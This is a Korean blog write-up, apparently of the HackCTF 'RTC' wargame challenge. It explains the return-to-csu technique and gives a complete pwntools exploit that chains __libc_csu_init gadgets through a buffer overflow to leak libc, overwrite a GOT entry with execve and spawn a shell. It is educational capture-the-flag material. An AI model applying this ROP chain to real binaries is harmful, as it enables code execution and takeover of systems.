문제 바이너리를 file 명령어로 확인하면 64비트 실행 파일임을 확인할 수 있다.
적용된 보호기법을 확인하면 다음과 같다.
gdb로 main 함수를 확인하면 다음과 같다.
write 함수와 read함수를 호출하고 있다. main 함수를 ida 헥스레이 기능으로 확인하면 다음과 같다.
read 함수에서 bof 취약점이 발생한다.
문제 이름이 RTC이기 때문에 RTC공격 기법으로 이 문제를 풀이할 것이다. RTC는 Return To Csu 라는 의미로 __libc_csu_init() 함수의 일부 코드를 가젯으로 이용하는 기술이다. 이를 통해 최대 3개 인자를 갖는 함수를 호출할 수 있다.
objdump -M intel -d 명령으로 __libc_csu_init()함수의 어셈 코드를 확인할 수 있다.
이 함수에서 가젯으로 사용하는 부분은 0x4006ba~0x4006c4(이하 stage1)과 0x4006a0~0x4006a9(이하 stage2) 부분을 사용한다. stage1은 pop~ret 형태로 되어 있어 공격자가 원하는 값(인자)을 레지스터에 넣을 수 있고, stage2에서 stage1에서 구성된 값으로 최대 3개의 인자를 가지고 함수를 호출할 수 있다. stage1에서 r12 ~ r14 레지스터에 각 인자들이 저장되고, r15레지스터에 함수 포인터가 저장된다. stage1을 설정할 땐 rbx는 0으로 설정하는 것이 좋다. stage2에서 [r12+rbx*8]연산을 할 때 rbx가 0이면 주소 계산이 더 쉬워진다.
RTC에서는 호출하고자 하는 함수의 got을 사용한다. 또한 바이너리 내에서 호출하지 않는 함수를 직접 호출하고 싶다면 쓰기 권한이 있는 메모리 영역에 호출할 함수의 주소를 쓰고, 함수 주소가 쓰여진 주소를 사용하여 호출해야 한다.
처음 RTC로 stage2가 실행된 후 0x4006b1 주소에서 rbx와 rbp를 비교하여 같지 않으면 stage2를 다시 실행하고, 같으면 jne코드를 통과하여 stage1을 실행하며 RTC를 이어 나갈 수 있다.
jne 코드를 넘어가고 stage1의 pop~ret gadget이 실행하기 전 add rsp, 0x8로 스택이 한 칸씩 줄어든다는 점을 고려 해야 한다.
이제 RTC를 이용하여 문제 바이너리를 익스플로잇할 시나리오를 생각해보면 먼저 write함수의 got 주소를 leak하고, bss 영역에 /bin/sh문자열을 쓰고, write got 주소에 execve 함수 주소를 쓴다. execve 함수 주소는 처음에 leak한 write함수 got주소를 이용해 libc base 주소를 구하여 구할 수 있다. 그리고 bss를 인자로 넣어 write got을 실행하면 그 부분에 execve 함수 주소가 쓰여져 있어 쉘을 딸 수 있게 된다. 이 시나리오 대로 익스플로잇 코드를 작성하면 다음과 같다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("libc.so.6")
write_got = e.got["write"]
read_got = e.got["read"]
binsh = "/bin/sh\x00"
bss = e.bss()
s1 = 0x4006ba
s2 = 0x4006a0
p.recvuntil("?\n")
pay = "A" * 0x48
# leak write got
pay += p64(s1)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(8)
pay += p64(read_got)
pay += p64(1)
pay += p64(s2)
# write binsh
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(bss)
pay += p64(0)
pay += p64(s2)
# write execve
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(write_got)
pay += p64(0)
pay += p64(s2)
# execve("/bin/sh", 0, 0)
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(0)
pay += p64(0)
pay += p64(bss)
pay += p64(s2)
p.send(pay)
read = u64(p.recv(6).ljust(8, "\x00"))
print(hex(read))
lb = read - libc.symbols["read"]
execve = lb + libc.symbols["execve"]
pay = ""
pay += binsh
pay += p64(execve)
p.send(pay)
p.interactive()
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] UAF (0) | 2021.11.12 |
---|---|
[Hack CTF] Beginner_Heap (0) | 2021.10.18 |
[HackCTF] Yes or no (0) | 2021.08.23 |
[HackCTF] Look at me (0) | 2021.08.06 |
[HackCTF] RTL_Core (0) | 2021.07.30 |